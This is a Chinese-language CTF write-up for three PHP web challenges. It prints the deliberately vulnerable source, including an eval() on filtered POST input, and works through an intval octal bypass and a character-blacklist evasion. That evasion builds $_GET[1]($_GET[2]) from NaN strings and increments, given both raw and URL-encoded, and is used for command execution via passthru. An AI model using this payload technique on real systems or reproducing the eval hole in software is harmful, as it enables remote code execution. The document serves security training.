目录
热身
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
源码奉上,这个题在web入门出现过
具体做法如下:
首先看到了字母被禁了
if(!strpos($num, "0"))这个语句告诉我们开头不能为0
很明显我们要用八进制,然后这个地方还要在值前加上一个+或空格
是因为考察了一个intval性质
1.如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
2.如果字符串以 “0” 开始,使用 8 进制(octal);
3.否则,将使用 10 进制 (decimal)
这个地方字母被禁了,不能16进制,
需要加个+或空格即可绕过
?num=+010574
shellme
直接ctrl+f搜索flag就得到了
shellme_Revenge
过滤掉了超多东西,然后找到hint=%3F
?等于%3F
直接构造
?looklook=1
得到源码
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
大体意思为
post传入一个参数ctf_show
ctf_show具有长度的限制
然后又有很禁用的字符等(但给我们了C和123)
然后执行命令
所以我们要构造出
$_GET[0]($_GET[1])
具体的方法为:
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。
进行拼接
$_=C/C;//NAN
$_=1/C//INF
C/C在这,实际在运算的时候会变成0/0。1/C变成1/0
然后想要单个的字符还需要连接一个字符;
<?php
$a = C/C.C;
echo $a[0];//N
?>
我们需要的语句为$GET[0]($GET[1])
<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C)[0]; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
?>
payload:
ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);
但是最后post传入的值要进行url编码
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
还有就是进行命令执行,经过测试passthru没有被禁